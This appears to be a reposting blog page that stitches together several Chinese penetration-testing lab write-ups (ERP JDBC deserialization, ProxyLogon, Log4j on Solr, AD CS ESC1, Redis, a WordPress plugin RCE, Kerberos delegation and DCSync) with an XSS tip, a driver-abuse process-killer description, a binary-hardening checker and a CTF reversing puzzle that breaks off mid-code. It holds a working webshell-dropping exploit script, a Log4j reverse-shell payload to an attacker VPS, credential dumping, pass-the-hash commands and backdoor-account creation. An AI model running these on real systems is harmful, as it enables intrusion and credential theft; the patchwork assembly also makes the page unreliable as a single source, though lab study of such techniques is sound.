Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863110014

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00 Intro

  1. OSCP 渗透风格,脱离C2和MSF之类的工具
  2. Box 难度不高

 

0x01 Info

  • Tag: JDBC, Exchange, NTLM, Coerce Authentication, DCSync
    fmccxbgne2314289.png

 

0x02 Recon

  1. Target external IP
    39.98.179.149
  2. Nmap results
    gd3d3zmjfna14294.png
  3. 直接关注8000端口,前面我已经怼过80了,没东西直接过
    nltfgdtr3ml14296.png
  4. 华夏ERP,有很多漏洞的,入口点卡了很久,后面看到JDBC,直接谷歌一搜就搜到大哥的文章了
    Fastjson高版本的奇技淫巧 – Bmth (bmth666.cn)(http://www.bmth666.cn/bmth_blog/2022/10/19/Fastjson%E9%AB%98%E7%89%88%E6%9C%AC%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/#%E8%93%9D%E5%B8%BD%E6%9D%AF2022%E5%86%B3%E8%B5%9B-%E8%B5%8C%E6%80%AA)
  5. 构造payload
    wqlqhhlvnsz14298.png
  6. Configure MySQL_Fake_Server
    0zgmzzycvdh14300.png
  7. 未授权 + MySQL Connector JDBC反序列化组合拳直接RCE
    4k5rmuj4w5s14302.png
  8. RCE后直接获取 Flag01
    irvo352nip214303.png

 

0x03 入口点:172.22.3.12

  1. SMB扫描内网主机,看到Exchange关键字 (EXC01),尝试访问
    5di1ume0ddg14305.png
  2. 172.22.3.9 为 Exchange
    uki4eyqfgkv14307.png
  3. Proxylogon 直接打死,获取system权限
    n5yiuxithga14309.png
    wexhs53esya14311.png
  4. flag02(后续凭据收集略过)
    nsvv4wp5pwo14312.png

 

0x04 入口点:172.22.3.9

  • 快进1:已经收集到了exchange机器账户的hash
  • 快进2:同时收集到了一个域账户凭据:Zhangtong
  1. 这边已经通过上面的操作收集到了exchange的机器账户hash,exchang的机器账户在域内对整个domain-object有writedacl权限,那我们直接使用dacledit.py给Zhangtong加dcsync权限(其实你也可以给自己加上dcsync)
    vlwcphotzil14314.png
  2. Dcsync,获取到域管和用户lumia的hashes
    dtfq0cqmvrs14317.png
  3. 进入 172.22.3.2 获取flag04
    wimvkiqxy5i14319.png

 

0x05 Final:172.22.3.26

  1. 172.22.3.26上面的Lumia用户文件夹里面有个secret.zip
    yvdwua41a3f14321.png
  2. 直接PTH Exchange导出Lumia mailbox里面的全部邮件以及附件
    4b5ucip4jaq14322.png
  3. item-0.eml,提示密码是手机号
    sv5vb1oamo014323.png
  4. 刚好导出的附件里面有一个csv,里面全是手机号
    jdx1iycla3t14324.png
  5. 常规操作,转换成pkzip格式的hash再跑字典,跑出密码
    bmuoaibotbh14325.png
    lm1koh35xup14326.png
    ee4s12b0nfj14327.png
  6. flag03
    d2laogk1t3d14328.png
    a3ewonvabrz14329.png

 

0x06 Outro

  1. Exchange 后渗透那,作者本意是想让我们用 NTLM Relay去完成DCSync提权,获取Exchange SYSTEM权限后,触发webdav回连中继到ldap,这里的话就不尝试了,有兴趣的话可以看我上一篇文章 Spoofing
     2.Lumia用户登录exchange那,作者也是想让你改掉Lumia用户的密码,但是我就懒了,直接PTH
原文链接: https://www.anquanke.com/post/id/286967

0x1 Info

image
靶场地址:https://yunjing.ichunqiu.com/ranking/summary?id=BzMFNFpvUDU 从web到内网再到域的靶场环境都全,且出题的思路很好,感兴趣的可以去玩玩

0x2 Recon

  1. Target external IP
    39.98.34.149
  2. Nmap results
    image
  3. 关注80端口的http服务,目录爆破(省略)找到 /admin
    image
  4. 使用弱口令登录进入后台,去到模板页面,编辑header.html,添加php一句话
    \

    用户名: admin, 密码:123456
    


image

  1. 命令执行
    image

0x03 入口点:172.22.4.36

  1. 弹shell
    image
    快速过一下:

    • 入口机器没特别的东西
    • 没能提权到root权限(也不需要提权到root权限)
    • stapbpf suid利用失败

      找到diff suid
      image
  2. flag01
    diff --line-format=%L /dev/null /home/flag/flag01.txt
    image
  3. flag01 里面有提示用户名
    WIN19\Adrian
  4. 挂代理扫 445
    image

    获取到三个机器信息

    172.22.4.19 fileserver.xiaorang.lab
    172.22.4.7 DC01.xiaorang.lab
    172.22.4.45 win19.xiaorang.lab

  5. 用 Flag01提示的用户名 + rockyou.txt 爆破,爆破出有效凭据 (提示密码过期)

    win19\Adrian babygirl1
  6. xfreerdp 远程登录上 win19 然后改密码
    image
    image

0x04 Pwing WIN19 - 172.22.4.45

前言:当前机器除了机器账户外,完全没域凭据,需要提权到system获取机器账户

  1. 桌面有提示
    image
  2. 关注这一栏,当前用户Adrian对该注册表有完全控制权限
    image
    image
  3. 提权
    msfvenom生成服务马,执行 sam.bat
    image

    sam.bat
    image

    修改注册表并且启用服务,然后桌面就会获取到 sam,security,system
    image
  4. 获取 Administrator + 机器账户 凭据

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab:::
    $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:917234367460f3f2817aa4439f97e636

    image

  5. flag02
    image
  6. 使用机器账户收集域信息
    image

0x05 DC takeover - 172.22.4.7

  1. 分析 Bloodhound,发现 WIN19 + DC01都是非约束委派
    image
  2. 使用Administrator登录进入 WIN19,部署rubeus
    image
  3. 使用DFSCoerce强制触发回连到win19并且获取到DC01的TGT
    image
    image
  4. Base64的tgt 解码存为 DC01.kirbi
    image
  5. DCSync 获取域管凭据
    image
  6. psexec - flag04
    image

0x06 Fileserver takeover - 172.22.4.19

  1. psexec - flag03
    image

0x07 Outro

  • 感谢Alphabug师傅的提示(0x03 - 0x04),大哥已经把入口点都打完了,我只是跟着进来而已
  • 感谢九世师傅的合作

原文链接:https://www.freebuf.com/articles/web/352151.html

说明

Certify是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

技术

Solr、AD CS、SMB、Kerberos、域渗透

第一个flag

log4j RCE

扫描外网IP

qnhqhxj1oxs14351.png

发现solr存在log4j的组件,测试是否存在rce

o5v2lkwea3q14352.png
GET /solr/admin/cores?action=${jndi:ldap://1p9bvr.dnslog.cn} HTTP/1.1
Host: 47.92.113.194:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://47.92.113.194:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close
xj0qvvofpso14353.png

dnslog回显

25mwli0u0bs14354.png

JNDI反弹shell,在VPS上开启

# 加载恶意类
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 47.103.xxx.xxx

#开启监听
nc -lvvp 5555
3rzpoqcqmta14355.png

payload

${jndi:ldap://47.103.xxx.xxx:1389/Basic/ReverseShell/47.103.xxx.xxx/5555}

发送请求

GET /solr/admin/cores?action=${jndi:ldap://47.103.xxx.xxx:1389/Basic/ReverseShell/47.103.xxx.xxx/5555}&wt=json HTTP/1.1
Host: 47.92.113.194:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://47.92.113.194:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close

成功反弹shell

gpirmronthy14356.png

sudo提权

sudo -l
ih2w2wcphz514357.png
sudo grc --help
fzim3lxne2b14358.png
sudo grc --pty whoami
ywdthyefh4x14359.png

查找flag

sudo grc --pty find / -name flag*
4mrr0xifh5g14360.png

输出flag

sudo grc --pty cat /root/flag/flag01.txt
0edm1r0ajdx14361.png

第二个flag

内网渗透

出口机器上代理,并扫描内网,具体就不赘述了(架设http服务,wget 下载npc和fscan)

172.22.9.13:445 open
172.22.9.26:445 open
172.22.9.47:445 open
172.22.9.7:445 open
172.22.9.26:139 open
172.22.9.47:139 open
172.22.9.7:139 open
172.22.9.26:135 open
172.22.9.13:139 open
172.22.9.13:135 open
172.22.9.7:135 open
172.22.9.26:80 open
172.22.9.47:80 open
172.22.9.19:80 open
172.22.9.47:22 open
172.22.9.47:21 open
172.22.9.19:22 open
172.22.9.7:88 open
172.22.9.19:8983 open
[+] NetInfo:
[*]172.22.9.13
   [->]CA01
   [->]172.22.9.13
[*] 172.22.9.7     [+]DC XIAORANG\XIAORANG-DC     
[*] 172.22.9.26          XIAORANG\DESKTOP-CBKTVMO   
[+] NetInfo:
[*]172.22.9.26
   [->]DESKTOP-CBKTVMO
   [->]172.22.9.26
[+] NetInfo:
[*]172.22.9.7
   [->]XIAORANG-DC
   [->]172.22.9.7
[*] 172.22.9.13          XIAORANG\CA01            
[*] WebTitle:http://172.22.9.47        code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] WebTitle:http://172.22.9.19        code:200 len:612    title:Welcome to nginx!
[*] 172.22.9.47          WORKGROUP\FILESERVER        Windows 6.1
[*] 172.22.9.47  (Windows 6.1)
[*] WebTitle:http://172.22.9.19:8983   code:302 len:0      title:None 跳转url: http://172.22.9.19:8983/solr/
[*] WebTitle:http://172.22.9.26        code:200 len:703    title:IIS Windows Server
[*] WebTitle:http://172.22.9.19:8983/solr/ code:200 len:16555  title:Solr Admin

发现以下资产

172.22.9.19 入口IP
172.22.9.7  DC
172.22.9.26 域成员
172.22.9.47 文件服务器
172.22.9.13 CA

根据提示,文件服务器应该存在smb的共享,进一步收集信息

注意:fscan不扫描smb的共享模式,所以可以采用nmap来扫描

sudo grc --pty nmap -sT -A 172.22.9.47
qubhiazg34i14362.png

使用 smbclient 连接共享

proxychains smbclient \\\\172.22.9.47\\fileshare
dir
get personnel.db
get secret\flag02.txt
fspo1fn0pgr14363.png

获得falg02,还有一段提示 you have enumerated smb. But do you know what an SPN is?

rpyxqjooikx14365.png

第三个flag

数据库文件中有几个用户名和密码

rc4rzpac5r014367.png

rdp破解

proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV -e ns
my2o1pbjptk14369.png

获得了两个账号,但是无法远程登录

Kerberoast攻击

使用GetUserSPNs.py寻找注册在域用户下的SPN

proxychains python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian
2xb0qar0q3o14371.png

hash 离线破解,速度很快,1.txt 是hash值,rockyou.txt 是kali自带的密码本

hashcat64.exe -m 13100 1.txt rockyou.txt
oc4yuysmt4514373.png

得到zhangxia/MyPass2@@6,使用账号密码远程登录即可

注意,因为是域账号所以用户名为 zhangxia@xiaorang.lab,登录完成后并不能直接访问administrator的目录查找flag,因为不是管理员权限

wguadkgrfjk14375.png

ADCS ESC1

使用Certify.exe定位漏洞

Certify.exe find /vulnerable
adqk2me5s0514377.png

ESC1利用前提条件:

msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT

表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户
PkiExtendedKeyUsage: Client Authentication

表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证

Enrollment Rights: NT Authority\Authenticated Users

表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书

为域管申请证书

Certify.exe request /ca:CA01.xiaorang.lab\xiaorang-CA01-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator
4cecjj4er5214379.png

转换格式

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

请求TGT、PTT

因为导出证书转换的时候并没有输入密码,所以这里密码留空就行

Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt
dy2a3cyeip214382.png

获取到域管的票据后导出哈希

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
u4jma2fa5n314384.png

哈希传递

PTH 172.22.9.26

proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
y5qpygc3fn214387.png

第四个flag

PTH DC

proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 Administrator@172.22.9.7
d5xxwkrmshw14390.png

原文链接: https://zhuanlan.zhihu.com/p/581487685

说明

Brute4Road是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

技术

Redis、Brute Force、SMB、Privilege Elevation、域渗透

第一个flag

redis主从复制RCE

fscan扫描入口ip,如果下面入口ip有变化是因为重启的环境,流程没有问题

lbu3kahbb4p14419.png

发现了redis的未授权,测试了写计划任务反弹shell,提示没有权限,尝试redis主从复制RCE成功

klzbfhryfka14420.png

suid提权

用户为redis,需要提权,使用suid提权,可以执行以下命令,具体可以查看 Linux系统suid提权1

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
4zhtiyldzii14421.png

base64是具有suid权限的,我们可以通过base64读取本地文件并输出,获取到第一个flag

base64 "/home/redis/flag/flag01" | base64 --decode
o2hvs2mzmh314422.png

第二个flag

wpcargo未授权RCE

在入口ip的服务器上设置代理,并进行内网扫描,通过weget上传 npc和fscan

start ping
(icmp) Target 172.22.2.18     is alive
(icmp) Target 172.22.2.34     is alive
(icmp) Target 172.22.2.3      is alive
(icmp) Target 172.22.2.7      is alive
(icmp) Target 172.22.2.16     is alive
[*] Icmp alive hosts len is: 5
172.22.2.16:445 open
172.22.2.34:445 open
172.22.2.3:445 open
172.22.2.18:445 open
172.22.2.16:139 open
172.22.2.34:139 open
172.22.2.3:139 open
172.22.2.34:135 open
172.22.2.16:135 open
172.22.2.18:139 open
172.22.2.3:135 open
172.22.2.16:80 open
172.22.2.3:88 open
172.22.2.18:22 open
172.22.2.7:80 open
172.22.2.7:22 open
172.22.2.7:6379 open
172.22.2.16:1433 open
172.22.2.7:21 open
172.22.2.18:80 open
[*] alive ports len is: 20
start vulscan
[+] NetInfo:
[*]172.22.2.16
   [->]MSSQLSERVER
   [->]172.22.2.16
[*] 172.22.2.34          XIAORANG\CLIENT01        
[*] 172.22.2.16  (Windows Server 2016 Datacenter 14393)
[+] NetInfo:
[*]172.22.2.3
   [->]DC
   [->]172.22.2.3
[*] WebTitle:http://172.22.2.16        code:404 len:315    title:Not Found
[+] NetInfo:
[*]172.22.2.34
   [->]CLIENT01
   [->]172.22.2.34
[*] WebTitle:http://172.22.2.7         code:200 len:4833   title:Welcome to CentOS
[*] 172.22.2.16          XIAORANG\MSSQLSERVER       Windows Server 2016 Datacenter 14393
[*] 172.22.2.3     [+]DC XIAORANG\DC                Windows Server 2016 Datacenter 14393
[*] 172.22.2.18          WORKGROUP\UBUNTU-WEB02    
[*] 172.22.2.3  (Windows Server 2016 Datacenter 14393)
[+] ftp://172.22.2.7:21:anonymous 
   [->]pub
[*] WebTitle:http://172.22.2.18        code:200 len:57738  title:又一个WordPress站点

使用 wpscan扫描下wordpress站点

proxychains wpscan --url http://172.22.2.18
tckpx3wzgfg14423.png

可以看到存在wpcargo插件,搜索相关漏洞,有个未授权RCE漏洞

https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a

w51tcwdqdgc14424.png
import sys
import binascii
import requests

# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'

def encode_character_code(c: int):
    return '{:08b}'.format(c).replace('0', 'x')

text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]

destination_url = 'http://172.22.2.18/'
cmd = 'ls'

# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
    f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)

# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
    f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))

生成shell

http://172.22.2.18/webshell.php?1=system
POST:2=whoami
s4fodxxshxu14425.png

连接蚁剑,注意类型要选择 cmdLinux (这个浪费了很多时间,对工具不熟悉)

mprob5xmocn14426.png

查看数据库的配置,并连接

qnyw3nydj3314427.png

找到第二个flag

31lq5wdh1vt14428.png

第三个flag

发现了一张存放密码的表

0m53m41ydbc14429.png

MSSqlServer RCE

用刚才数据库里拿到的密码表爆破MsSQL,得到密码为ElGNkOiC

1d5ftsxxnqa14430.png

使用Multiple.Database.Utilization.Tools工具连接

先激活Ole Automation Procedures组件,再上传SweetPotato.exe提权,得到system权限

g1a5uteq4jr14431.png
C:/Users/MSSQLSERVER/Desktop/SweetPotato.exe -a "netstat -ano"
ucwmofesxkd14432.png

发现3389开放着,直接添加用户,远程连接

net user devyn Admin123 /add
net localgroup administrators devyn /add
3n3ozwitu1z14433.png

远程连接成功

biuuzs4btep14434.png

获得第三个flag

1dvriq3b2cd14435.png

‍第四个flag

域渗透

使用mimikatz,抓取域用户的hash

4d3xdutsinm14436.png

获取到域用户的哈希为78a2811aabd779d0da3cef84903ca3e6

约束委派攻击

MSSQLSERVER机器配置了到 DC LDAP 和 CIFS 服务的约束性委派

首先通过Rubeus申请机器账户MSSQLSERVER的TGT,执行后,将得到 Base64 加密后的 TGT 票据

Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:78a2811aabd779d0da3cef84903ca3e6 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap
brrn3wimihb14437.png

然后使用 S4U2Self 扩展代表域管理员 Administrator 请求针对域控 LDAP 服务的票据,并将得到的票据传递到内存中

Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:LDAP/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE3jomeuPBK3C69yaGuyDCLGYHRyVjZg4zXrEwUSwvFS0kZ+4Q2uTcKGqYw3GLs5sf0/MJ0fHiL1V8u5WrLpgR5hBlYUGN+g1zmv3uiTXO7QobxH0lR0dUUKuNdPoxdPdx26Liz5/xdDFvz4xTyMKDqqRxgBWquqGjh1cp/woy4U4tXJo+L8CfQ424Kgdb3n/rJYRNY54m8QHl/smHg3PpMgTT2FEiJ5Jag+qDpM/R/XUOIJHNzSfCVi2XiLGqPF374jUbih9UTZvlqRoSHz9qljZlBsEAqen9ctu01tmNn4ACRz4mqMV11MyV9scfeJnQbCpGdS+zveSrT53dwFotrg00o4Jq6RGr9dR/6ZMKC1W/kfwSXdF1b/H3HOMM7HzK0qLfSbDtq8i1e2FdZ5kyOVbbtAE6irAizzK7ScDS4rO9RRSDl6BNaV25nkjce6j9dj4V56ua1Gh+F+JQfAHbE8zLNt9OmseJs6IGj/cxKEckbhcggGhQhL3c6k1FKZOTXY1PKR8zweZauWgK7FXiDLEP1h6YwP2S/frDmKRb5mCdBUUQBzsA/6BBmEAnxvfKX1B8xViT0rq1I/pLKS9LKWTKyuHJd67z6XDRN7IWR0fstyqGuvHPn391l02zNUJRK5/7jyOyKwhQ3sb/XRzC4YbLeGgImMGRZ0fqrQ+hRBQbTuNr2/i4hgyWDLuBSEvz5qb1kXcebRkWuCHhpGKtsdbyZ30tnpA0W2qWu8qJ8zKks04r2Hj91lCPudAbrjhjjFf/UNd+fHcfYlAu0xzMuR8eKUA22Lcv0fEf2igvIu38bCRvUjfGkh423fgPsR4Xom8/8lNWhU+kaAiGSwSER8UGr8jiDVjtmgF5ScFoQDM+kVJ5o0ZnettUHJhcVMAdlI1QTq5WjQRIea6u4d6bYSHI43ips6So8hEcsB/03FpOKR/SRUYveALw3IAwAJtAPtW/SrzUeLXEemVg2aADTl1qXNw04A0e9v8XQnnm7lyCJfmI3pXJVsycjJyviDwazFtHGbQoM3fhlZ4zpBlfBKagxQr624YO5yIaJbl9/Dp4M7iauUIbo7kAWCfka1iafKyGDFGAXudAb52dt72jw0/QpeLP08RORDLtY8IrpjKAzHsSGuVYukY07lR+ck95MeKFDnl8cwaKw0MB8f92n4g4OfWQbUJK/479LYMZBDG38iwHHv/MLiaCylHm5nazaY0JJxJ2CeqIvsAFlfm7gp23V5Hj/T+eKt0zd3EIjNhuwBvhYeVKKQCFJZGaRelQKxaptmKhhgILA+wTKvCxpQX6qx8b40pg9r1rr4zQ9buPb4JNnqwHe5SIgPURR02Xv5FUiiI9Qc5//bUhxCEOXi0TFASRbghAyNA/TLRVAqfvtgqv6SKb4jw265bdrQQrPITm1En79jsNw6adH1curFJr++PS6ZYX6yqK3DlJ5Piiy2OAVLPIPcN1zmbZ+jgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBBAXgLFznI5hHEOCpAjFdNEoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDIyMTAyODEyMjIzM1qmERgPMjAyMjEwMjgyMjIyMzNapxEYDzIwMjIxMTA0MTIyMjMzWqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==
ppos5uepkjl14438.png

LDAP 服务具有DCSync权限,导出域内用户的Hash

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
n1y4xjeuvwf14439.png

获得域管理员哈希 1a19251fbd935969832616366ae3fe62

WMI横向

得到域管的哈希后我们可以通过WMI服务登录域控

python wmiexec.py -hashes 00000000000000000000000000000000:1a19251fbd935969832616366ae3fe62 Administrator@172.22.2.3
g1gu4a4ykth14440.png

获得第四个flag

3i5yr5qlyzm14441.png

另一种方法

直接通过哈希传递就能拿下域控,这里使用crackmapexec来进行PTH

proxychains crackmapexec smb 172.22.2.3 -u administrator -H1a19251fbd935969832616366ae3fe62 -d xiaorang.lab -x "type Users\Administrator\flag\flag04.txt"
yepcr4hbikf14442.png

原文链接:https://zhuanlan.zhihu.com/p/581577873
HireHackking

日常SRC中xss小tips

0x00  前言

关于众测、专属中如何去捡漏xss洞,水文,水文,水文!!!

0x01  日常测试

日常无聊测站点,当你在渗透测试时候,发现有某个html标签调用服务器内图片的,并且是那种加入服务器ip地址的,可以尝试通过修改host头来fuzz一下,探测下是否存在xss。w5p2sjdikwn15072.jpg
dwszvyid1pv15073.jpg看到这种情况我们可以大概猜想一下,其中的后段代码可能是以下样子:<img src="<?php echo "http://{$_SERVER['HTTP_HOST']}/"?>xxx/aaa.png" />这样看来就很简单了,修改一下请求包中的host就能造成xss咯。pnnf24mwhsz15074.jpg
成功弹窗hebst5xsqz115075.jpg
hmj3wfkxplg15076.jpg捡破烂小tips完结。

转自原来链接:https://blog.csdn.net/Guapichen/article/details/124040935?spm=1001.2014.3001.5501

AVvXsEi5CKhup62kzvQ8kPJV5QaUXt7MRtL1eWNP

收割者是旨在利用Byovd(带来自己脆弱的驱动程序)驾驶员漏洞的概念验证。这种恶意技术涉及将合法易受伤害的驱动程序插入目标系统,这使攻击者可以利用驾驶员执行恶意行动。

Reaper的设计专门用于利用2.8.0.0版本中kprocesshacker.sys驱动程序中存在的漏洞,利用其弱点来获得对目标系统的特权访问和控制。

Note:收割机不会杀死Windows Defender进程,因为它具有保护,收割者是一个简单的概念证明。

功能

杀戮过程暂停过程

帮助

____

/__ \ ____ _____ _____ _______

//_//_ \/__/__/__ \/_ \/___//___/

/_,_/__//_////_///__//////

/_/| _ | \ ___/\ __,_/.___/\ ___/\ __/\ __/

/_/

[由Mrempy编码]

[V1.0]

USAGE: C: \ Windows \ temp \ receper.exe [options] [values]

Options:

SP,暂停过程

KP,杀死过程

值:

ProcessID过程ID暂停/杀死

示例:

Reaper.EXE SP 1337

Reaper.exe KP 1337

演示

AVvXsEgxFzjRgODMciGXX1-RFpUD8M_SAAQ_IxYj

安装

您可以直接从源代码进行编译或下载已经编译的。您将需要Visual Studio 2022进行编译。

Note:可执行文件和驱动程序必须在同一目录中。

AVvXsEjMpNK6ke1fMDaTp3RU_dC5NuigZxpNAUS1

分析缺少安全功能,信息披露等的二进制文件。

挤压处正处于发展的早期阶段,目前仅支持小精灵和男子气概的二进制文件。 PE(Windows)二进制文件将很快得到支持。

用法

用法:

挤出[flags] [文件]

FLAGS:

-a, - 所有显示所有测试的详细信息,而不仅仅是失败的测试。

-w, - 即使仅发现警告,也具有非零状态的警告出口。

-h, - 挤压

docker

的帮助,您可以选择使用Docker Via:运行

docker run -v `pwd`:/blah -it ghcr.io/liamg/extrude /blah/targetfile

支持的检查

精灵

PIE RELRO BIND NOW Fortified Source Stack Canary NX Stack

男子气概

PIE Stack Canary NX Stack NX Heap ARC

Windows

Coming soon.

todo

添加对PE的支持添加秘密扫描检测数据包

re-babyre

1、下载得到chall.txt,使用file命令查看文件类型,该文件是python文件

mm2ogokx1uz15209.png2.这里将chall.txt重命名为chall.pyc

使用在线python反编译得到python(https://tool.lu/pyc)

from ctypes import c_uint32
from base64 import b64encode

def enc(rounds: int, v: list, key: list):
   magic = 3735928559
   l, r = c_uint32(v[0]), c_uint32(v[1])
   total = c_uint32(0)
   for _ in range(rounds):
       l.value -= (r.value << 4) - (r.value >> 6) + (key[(total.value & 3)] << 2) ^ key[(r.value << 3 & 3)]
       total.value -= magic
       r.value += ((l.value << 5) + (l.value << 4) ^ key[(total.value & 3)] >> 2) + key[(l.value & 3)]
   else:
       return (
        l.value, r.value)


def ints2bytes(v: list) -> bytes:
   n = len(v)
   res = b''
   for i in range(n // 2):
       res += int.to_bytes(v[(2 * i)], 4, 'little')
       res += int.to_bytes(v[(2 * i + 1)], 4, 'little')
   else:
       return res


def bytes2ints(cs: bytes) -> list:
   new_length = len(cs) + (8 - len(cs) % 8) % 8
   barray = cs.ljust(new_length, b'\x00')
   i = 0
   v = []
   while i < new_length:
       v0 = int.from_bytes(barray[i:i + 4], 'little')
       v1 = int.from_bytes(barray[i + 4:i + 8], 'little')
       v.append(v0)
       v.append(v1)
       i += 8

   return v


def encode(msg):
   BASE_CHAR = 'ABCDEFGHIJKLMNOPQRST0123456789+/UVWXYZabcdefghijklmnopqrstuvwxyz'
   CHARSET = 'ASCII'
   b_msg = bytes(msg, CHARSET)
   CHAR_PRE_GROUP = 3
   zero_cnt = CHAR_PRE_GROUP - len(b_msg) % CHAR_PRE_GROUP
   if zero_cnt == CHAR_PRE_GROUP:
       zero_cnt = 0
   msg += str(chr(0)) * zero_cnt
   b_msg = bytes(msg, CHARSET)
   encoded = ''
   for i in range(0, len(b_msg), 3):
       i_msg = [int(i) for i in b_msg[i:i + 3]]
       new_msg = [None] * 4
       new_msg[0] = i_msg[0] >> 2
       new_msg[1] = ((i_msg[0] & 3) << 6 | i_msg[1] >> 2) >> 2
       new_msg[2] = ((i_msg[1] & 15) << 4 | i_msg[2] >> 4) >> 2
       new_msg[3] = i_msg[2] & 63
       encoded += ''.join([BASE_CHAR[i] for i in new_msg])
   else:
       return (encoded + '=' * zero_cnt).encode()


if __name__ == '__main__':
   flag = input('Input your flag: ').strip().encode()
   if len(flag) ^ 42:
       exit(0)
   u = 0
   z = 1
   v = flag[:21]
   if ((((((-v[0] + v[1] - v[2]) + v[3] + v[4] - v[5] - v[6]) + v[7] - v[8]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + v[18] - v[19]) + v[20] == -321 and ((((((-v[0] + v[1] - v[2]) + v[3] - v[4] - v[5] - v[6] - v[7]) + v[8] + v[9] + v[10] - v[11]) + v[12] - v[13]) + v[14] - v[15] - v[16]) + v[17] - v[18] - v[19]) + v[20] == -265 and ((-2 * v[0] + v[1] + 2 * v[3] + 2 * v[4] - 2 * v[5]) + 2 * v[7] + 2 * v[9] - 2 * v[10] - 2 * v[11] - 2 * v[12] - 2 * v[14] - 2 * v[15] - 2 * v[16]) + 2 * v[18] == -144 and ((-3 * v[0] + 2 * v[1] - v[2]) + 2 * v[4] - 2 * v[5]) + 2 * v[9] - 2 * v[11] - 2 * v[14] - 2 * v[16] - 2 * v[17] - 2 * v[19] == -637 and ((((((-2 * v[0] + v[1] - v[2]) + v[3] + 2 * v[4] - 2 * v[6]) + 2 * v[7] - 2 * v[8]) + 2 * v[9] - 2 * v[11] - 2 * v[12]) + 2 * v[13] - 2 * v[14]) + 2 * v[18] - 2 * v[19]) + 2 * v[20] == -158 and (((-6 * v[0] + 3 * v[1] - v[2]) + 2 * v[4] - 2 * v[6] - 2 * v[12]) + 2 * v[13] - 2 * v[16] - 2 * v[17]) + 2 * v[18] == -449 and (((-6 * v[0] + 3 * v[1] + v[4] - v[5] - 2 * v[6]) + 2 * v[7] - 2 * v[8] - 2 * v[11]) + 2 * v[13] - 2 * v[14] - 2 * v[15] - 2 * v[17]) + 2 * v[20] == -778 and ((-6 * v[0] + 3 * v[1] + v[4] - v[5] - 2 * v[6]) + 2 * 